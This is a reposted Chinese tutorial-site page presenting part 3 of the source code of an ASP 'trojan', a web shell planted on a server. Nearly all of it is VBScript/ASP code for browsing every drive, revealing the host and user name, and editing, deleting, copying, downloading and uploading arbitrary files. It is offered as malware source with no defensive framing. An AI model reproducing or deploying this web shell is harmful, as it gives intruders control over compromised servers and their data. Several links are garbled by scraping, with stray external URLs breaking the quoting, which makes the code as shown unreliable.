中国IT动力,最新最全的IT技术教程
最新100篇 | 推荐100篇 | 专题100篇 | 排行榜 | 搜索 | 在线API文档
首 页 | 程序开发 | 操作系统 | 软件应用 | 图形图象 | 网络应用 | 精文荟萃 | 教育认证 | 硬件维护 | 未整理篇 | 站长教程
ASP JS PHP工程 ASP.NET 网站建设 UML J2EESUN .NET VC VB VFP 网络维护 数据库 DB2 SQL2000 Oracle Mysql
服务器 Win2000 Office C DreamWeaver FireWorks Flash PhotoShop 上网宝典 CorelDraw 协议大全 网络安全 微软认证
硬件维护  CPU  主板  硬盘  内存  显卡  显示器  键盘鼠标  声卡音箱  打印机  机箱电源  BIOS  网卡  C#  Java  Delphi  vs.net2005
  当前位置:> 程序开发 > Web开发 > Asp > 综合文章
一个ASP木马程序的源代码(3)
作者:佚名 时间:2006-11-06 16:19 出处:互连网 责编:月夜寒箫
              摘要:一个ASP木马程序的源代码(3)
  Sub GetFile()
  dim theFiles
  if oFileSys.FolderExists(cpath)then
  Set theFolder=oFileSys.GetFolder(cpath)
  Set theFiles=theFolder.Files
  Response.write"<table border='0' width='100%' cellpadding='0'><script language=vbscript>"
  For Each x In theFiles
  if Request("attrib")="true" then
  showstring=x.Name
  else
  showstring=x.Name
  end if
  %>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%= x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%= x.name%>"
  <%
  Next
  end if
  Response.write"</script></table>"
  End Sub
  %>
  <html>
  
  <head>
  <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  <title><%=httpt%></title>
  <style type="text/css">
  <!--
  table{ font-family: 宋体; font-size: 9pt }
  a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
  a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }
  a:visited{ color: rgb(128,0,0) }
  td { font-size: 9pt}
  a { color: #000000; text-decoration: none}
  a:hover { text-decoration: underline}
  .tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}
  .bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}
  .tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}
  -->
  </style>
  </head>
  <script language="JavaScript">
  function crfile(ls)
  {if (ls==""){alert("请输入文件名!");}
  else {window.open("<%=rseb%>?q=edit.asp&attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>"+ls);}
  return false;
  }
  function crdir(ls)
  {if (ls==""){alert("请输入文件名!");}
  else {window.open("<%=rseb%>?q=edir.asp&attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>"+ls);}
  return false;
  }
  </script>
  <script language="vbscript">
  sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)
  document.write "<tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""><td width='50%'><font color='#FF8000'><font face=Wingdings>+</font></font><a href='"& urlpath & lpath & xName &"' target='_blank'><strong>" & showstring & "</strong></a></td><td width='20%' align='right'>" & size & "字节</td><td width='30%'><a href='#' title='类型:" & type1 & chr(10) & "属性:" & Attributes & chr(10) & "时间:" & DateLastModified &"'>属性</a> <a href='<%=rseb%>?q=edit.asp&path=" & lpath & xName & "&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>编辑</a> <a href="&chr(34)&"Javascript: rmdir1('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a> <a href='#' onclick=copyfile('" & lpath & Name & "')><font color='#FF8000' ></font>复制</a> <a href="http://www.aspcool.com/lanmu/'<%=rseb%>?q=down.asp&path=<%= cpath%>\&xName&&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>下载</a></td></tr>"
  end sub
  sub so(lpath,xName,path,attrib)
  document.write "<a href='<%=rseb%>?q=list.asp&path="& lpath & xName & "&oldpath=" & path & "&attrib=" & attrib &"'>└<font color='#FF8000'><font face=Wingdings>1</font></font> " & xName &"</a> <a href="http://www.aspcool.com/lanmu/&chr(34)&javascript:" rmdir('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a><br>"
  end sub
  
  sub rmdir1(ls)
  if confirm("你真的要删除这个文件吗!"&Chr(13)&Chr(10)&"文件为:"&ls) then
  window.open("<%=rseb%>?q=edit.asp&path=" & ls & "&op=del&attrib=<%=request("attrib")%>")
  end if
  end sub
  
  sub rmdir(ls)
  if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为:"&ls) then
  window.open("<%=rseb%>?q=edir.asp&path="&ls&"&op=del&attrib=<%=request("attrib")%>")
  end if
  end sub
  
  sub copyfile(sfile)
  dfile=InputBox("※文件复制※"&Chr(13)&Chr(10)&"源文件:"& sfile&Chr(13)&Chr(10)&"输入目标文件的文件名:"&Chr(13)&Chr(10) &"[允许带路径,要根据你的当前路径模式]")
  dfile=trim(dfile)
  attrib="<%=request("attrib")%>"
  if dfile<>"" then
  if InStr(dfile,":") or InStr(dfile,"/")=1 then
  lp=""
  if InStr(dfile,":") and attrib<>"true" then
  alert "对不起,你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径:["&dfile&"]"
  exit sub
  end if
  else
  lp="<%=lpath%>"
  end if
  window.open("<%=rseb%>?q=edit.asp&path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile)
  else
  alert"您没有输入文件名!"
  end If
  end sub
  </script>
  <body>
  <table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
  bordercolordark="#FFFFFF" cellspacing="0">
  <tr>
  <td width="755" bgcolor="#000080" colspan="2" height="23"><p align="center"><font size="3"
  color="#FFFFFF"><%=httpt%></font></td>
  </tr>
  <tr>
  <td width="751" bgcolor="#C0C0C0" colspan="2">※换盘:<span
  style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%
  For Each thing in oFileSys.Drives
  Response.write "<font face=Wingdings>:</font><a href="http://www.aspcool.com/lanmu/'" & rseb & "?q=list.asp&path="&thing.DriveLetter&":&attrib=true'> "&thing.DriveLetter&":</a>"
  NEXT
  %> </span> 地址:
  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %></td>
  </tr>
  <tr>
  <td width="751" bgcolor="#C0C0C0" colspan="2">※<%
  if Request("attrib")="true" then
  response.write "<a href="http://www.aspcool.com/lanmu/'" & rseb & "?q=list.asp'>切到相对路径</a>"
  else
  response.write "<a href="http://www.aspcool.com/lanmu/'" & rseb & "?attrib=true&q=list.asp'>切到绝对路径</a>"
  end if
  %> ※绝对:<span
  style="background-color: rgb(255,255,255)"><%=cpath%></span></td>
  </tr>
  <tr>
  <td width="751" bgcolor="#C0C0C0" colspan="2">※当前<font color="#FF8000"><font face=Wingdings>1</font></font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> </td>
  </tr><form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data">
  <tr><td bgcolor="#C0C0C0" colspan="2" style="height: 20px">
关闭本页
 
首页 | 投资与合作 | 服务条款 | 隐私政策 | 收藏本站 | 设为首页 | 新用户注册 | 免责声明 | 使用帮助
Copyright ©2005-2008 chinaitpower.com All rights reserved. www.chinaitpower.com 版权所有